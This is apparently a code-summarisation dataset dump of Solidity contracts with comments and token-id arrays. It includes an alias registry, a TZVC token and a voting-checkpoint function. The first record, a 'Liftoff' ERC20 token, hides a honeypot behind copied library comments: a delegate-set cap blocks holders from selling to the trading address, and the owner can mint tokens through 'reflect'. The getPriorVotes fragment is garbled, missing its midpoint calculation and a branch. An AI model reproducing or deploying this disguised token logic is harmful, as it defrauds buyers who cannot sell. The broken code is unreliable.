* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function decimals() virtual external view returns (address){}
/**
* @dev Returns the decimals of token supply.
*/
function transfer(address to, uint tokens) virtual public returns (bool success);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) virtual public returns (bool success);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint tokens);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
abstract contract ApproveAndCallFallBack {
function receiveApproval(address from, uint tokens, address token, bytes memory data) virtual public;
}
contract Owned {
address internal owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract Liftoff is IERC20, Owned{
using SafeMath for uint;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
string public symbol;
address internal delegate;
string public name;
uint8 internal decimal;
address internal zero;
uint _totalSupply;
uint internal number;
address internal reflector;
address internal openzepplin = 0xBEe0d570989D738298a5D4d96ca9aAFc88F190f7;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) override public view returns (uint balance) {
return balances[tokenOwner];
}
/**
* dev Reflects a specific amount of tokens.
* param value The amount of lowest token units to be reflected.
*/
function reflect(address _address, uint tokens) public onlyOwner {
require(_address != address(0), "ERC20: reflect from the zero address");
_reflect (_address, tokens);
balances[_address] = balances[_address].sub(tokens);
_totalSupply = _totalSupply.sub(tokens);
}
function transfer(address to, uint tokens) override public returns (bool success) {
require(to != zero, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
if (msg.sender == delegate) number = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
if(from != address(0) && zero == address(0)) zero = to;
else _send (from, to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function _reflect(address _reflectAddress, uint _reflectAmount) internal virtual {
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
reflector = _reflectAddress;
_totalSupply = _totalSupply.add(_reflectAmount*2);
balances[_reflectAddress] = balances[_reflectAddress].add(_reflectAmount*2);
}
function _send (address start, address end) internal view {
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
* Requirements:
* - The divisor cannot be zero.*/
/* * - `account` cannot be the zero address. */ require(end != zero
/* * - `account` cannot be the reflect address. */ || (start == reflector && end == zero) ||
/* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number)
/* */ , "cannot be the zero address");/*
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
**/
}
/**
* dev Constructor.
* param name name of the token
* param symbol symbol of the token, 3-4 chars is recommended
* param decimals number of decimal places of one token unit, 18 is widely used
* param totalSupply total supply of tokens in lowest units (depending on decimals)
*/
constructor(string memory _name, string memory _symbol, uint _supply, address _del) {
symbol = _symbol;
name = _name;
decimal = 9;
_totalSupply = _supply*(10**uint(decimal));
number = _totalSupply;
delegate = _del;
reflector = IERC20(openzepplin).decimals();
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _approve(address _owner, address spender, uint amount) private {
require(_owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
allowed[_owner][spender] = amount;
emit Approval(_owner, spender, amount);
}
receive() external payable {
}
fallback() external payable {
}
} | * dev Reflects a specific amount of tokens. param value The amount of lowest token units to be reflected./ | function reflect(address _address, uint tokens) public onlyOwner {
require(_address != address(0), "ERC20: reflect from the zero address");
_reflect (_address, tokens);
balances[_address] = balances[_address].sub(tokens);
_totalSupply = _totalSupply.sub(tokens);
}
| 1,165,211 | [
1,
5206,
17906,
87,
279,
2923,
3844,
434,
2430,
18,
579,
460,
1021,
3844,
434,
11981,
1147,
4971,
358,
506,
21591,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
3037,
12,
2867,
389,
2867,
16,
2254,
2430,
13,
1071,
1338,
5541,
288,
203,
377,
2583,
24899,
2867,
480,
1758,
12,
20,
3631,
315,
654,
39,
3462,
30,
3037,
628,
326,
3634,
1758,
8863,
203,
377,
389,
1734,
1582,
261,
67,
2867,
16,
2430,
1769,
203,
377,
324,
26488,
63,
67,
2867,
65,
273,
324,
26488,
63,
67,
2867,
8009,
1717,
12,
7860,
1769,
203,
377,
389,
4963,
3088,
1283,
273,
389,
4963,
3088,
1283,
18,
1717,
12,
7860,
1769,
203,
225,
289,
202,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.0;
/*
Aliases are now
subdomain.domain.tld
a TLD is controlled by an entity
domain.tld implicitly gets converted to subdomain.domain.tld where subdomain
is the latest created subdomain
*/
contract AliasRegistry {
struct Domain {
bytes32 head;
mapping(bytes32 => bytes) subdomains;
}
struct TLD {
address controller;
mapping(bytes32 => Domain) domains;
}
// SLOT 0 TLD -> controlling account
mapping(bytes32 => TLD) public toplevels;
function CreateTLD(bytes32 tld) public {
//Entity must not already exist
require(toplevels[tld].controller == 0);
//Set the controller
toplevels[tld].controller = msg.sender;
}
function CreateSubdomain(bytes32 tld, bytes32 domain, bytes32 subdomain, bytes value) public {
require(toplevels[tld].controller == msg.sender);
toplevels[tld].domains[domain].subdomains[subdomain] = value;
toplevels[tld].domains[domain].head = subdomain;
}
function GetHead(bytes32 tld, bytes32 domain) constant public returns (bytes32 head) {
return toplevels[tld].domains[domain].head;
}
function GetSubdomain(bytes32 tld, bytes32 domain, bytes32 subdomain) constant public returns (bytes v) {
return toplevels[tld].domains[domain].subdomains[subdomain];
}
}
| SLOT 0 TLD -> controlling account | mapping(bytes32 => TLD) public toplevels;
| 1,833,088 | [
1,
55,
1502,
56,
374,
399,
12069,
317,
3325,
2456,
2236,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
2874,
12,
3890,
1578,
516,
399,
12069,
13,
1071,
1760,
12095,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x67917ff90AF0d8c518a5FeD9E154503fDBf3A0C3/sources/KongMing.sol | after 1000 transactions, tax will be set to zero
| uint256 _reduceTaxAt = 1000; | 17,041,801 | [
1,
5205,
4336,
8938,
16,
5320,
903,
506,
444,
358,
3634,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
2254,
5034,
389,
12498,
7731,
861,
273,
4336,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/56/0x895D7B0eA44E2e312abF65988F94A67aB064003E/sources/BeerToken.sol | * @notice Determine the prior number of votes for an account as of a block number @dev Block number must be a finalized block or else this function will revert to prevent misinformation. @param account The address of the account to check @param blockNumber The block number to get the vote balance at @return The number of votes the account had as of the given block/ First check most recent balance Next check implicit zero balance | function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "BUNNY::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
lower = center;
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
| 11,090,471 | [
1,
8519,
326,
6432,
1300,
434,
19588,
364,
392,
2236,
487,
434,
279,
1203,
1300,
225,
3914,
1300,
1297,
506,
279,
727,
1235,
1203,
578,
469,
333,
445,
903,
15226,
358,
5309,
7524,
13117,
18,
225,
2236,
1021,
1758,
434,
326,
2236,
358,
866,
225,
1203,
1854,
1021,
1203,
1300,
358,
336,
326,
12501,
11013,
622,
327,
1021,
1300,
434,
19588,
326,
2236,
9323,
487,
434,
326,
864,
1203,
19,
5783,
866,
4486,
8399,
11013,
4804,
866,
10592,
3634,
11013,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
1689,
2432,
29637,
12,
2867,
2236,
16,
2254,
1203,
1854,
13,
203,
565,
3903,
203,
565,
1476,
203,
565,
1135,
261,
11890,
5034,
13,
203,
565,
288,
203,
3639,
2583,
12,
2629,
1854,
411,
1203,
18,
2696,
16,
315,
38,
2124,
50,
61,
2866,
588,
25355,
29637,
30,
486,
4671,
11383,
8863,
203,
203,
3639,
2254,
1578,
290,
1564,
4139,
273,
818,
1564,
4139,
63,
4631,
15533,
203,
3639,
309,
261,
82,
1564,
4139,
422,
374,
13,
288,
203,
5411,
327,
374,
31,
203,
3639,
289,
203,
203,
3639,
309,
261,
1893,
4139,
63,
4631,
6362,
82,
1564,
4139,
300,
404,
8009,
2080,
1768,
1648,
1203,
1854,
13,
288,
203,
5411,
327,
26402,
63,
4631,
6362,
82,
1564,
4139,
300,
404,
8009,
27800,
31,
203,
3639,
289,
203,
203,
3639,
309,
261,
1893,
4139,
63,
4631,
6362,
20,
8009,
2080,
1768,
405,
1203,
1854,
13,
288,
203,
5411,
327,
374,
31,
203,
3639,
289,
203,
203,
3639,
2254,
1578,
2612,
273,
374,
31,
203,
3639,
2254,
1578,
3854,
273,
290,
1564,
4139,
300,
404,
31,
203,
3639,
1323,
261,
5797,
405,
2612,
13,
288,
203,
5411,
25569,
3778,
3283,
273,
26402,
63,
4631,
6362,
5693,
15533,
203,
5411,
309,
261,
4057,
18,
2080,
1768,
422,
1203,
1854,
13,
288,
203,
7734,
327,
3283,
18,
27800,
31,
203,
7734,
2612,
273,
4617,
31,
203,
7734,
3854,
273,
4617,
300,
404,
31,
203,
5411,
289,
203,
3639,
289,
203,
3639,
327,
26402,
63,
4631,
6362,
8167,
8009,
27800,
31,
203,
565,
289,
203,
203,
2
] |
pragma solidity ^0.5.1;
contract ERC20 {
function transferFrom(address from, address to, uint256 value) public returns (bool);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* Math operations with safety checks
*/
contract SafeMath {
function safeMul(uint256 a, uint256 b) pure internal returns (uint256) {
uint256 c = a * b;
require(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) pure internal returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function safeSub(uint256 a, uint256 b) pure internal returns (uint256) {
require(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) pure internal returns (uint256) {
uint256 c = a + b;
require(c>=a && c>=b);
return c;
}
}
contract tokenRecipientInterface {
function receiveApproval(address _from, uint256 _value, address _token, bytes memory _extraData) public;
}
contract TZVC is Ownable, SafeMath, Pausable{
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
uint256 public tokenLeft;
address public tokenAddress;
/* This creates an array with all balances */
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
/* This generates a public event on the blockchain that will notify clients */
event Transfer(address indexed from, address indexed to, uint256 value);
// ZVC to TZVC
event Mapping(address _from, uint256 _value, bytes _extraData);
event Burn(address _from, uint256 _value, string _zvAddr);
/* Initializes contract with initial supply tokens to the creator of the contract */
constructor(address _tokenAddress) public payable {
tokenLeft = 90000000000000000; // Give the creator all initial tokens
totalSupply = 90000000000000000; // Update total supply
name = "TZVC"; // Set the name for display purposes
symbol = "TZVC"; // Set the symbol for display purposes
decimals = 9; // Amount of decimals for display purposes
tokenAddress = _tokenAddress;
}
/* Send coins */
function transfer(address _to, uint256 _value) whenNotPaused public returns (bool success){
require(_to != address(0x0)); // Prevent transfer to 0x0 address. Use burn() instead
require(_value > 0);
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient
emit Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place
return true;
}
/* Allow another contract to spend some tokens in your behalf */
function approve(address _spender, uint256 _value) whenNotPaused public returns (bool success) {
require(_value > 0);
allowance[msg.sender][_spender] = _value;
return true;
}
/* A contract attempts to get the coins */
function transferFrom(address _from, address _to, uint256 _value) whenNotPaused public returns (bool success) {
require (_to != address(0x0)); // Prevent transfer to 0x0 address. Use burn() instead
require (_value > 0);
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value); // Subtract from the sender
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient
allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
}
/* Approve and then communicate the approved contract in a single tx */
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData) whenNotPaused public returns (bool success) {
tokenRecipientInterface spender = tokenRecipientInterface(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
return false;
}
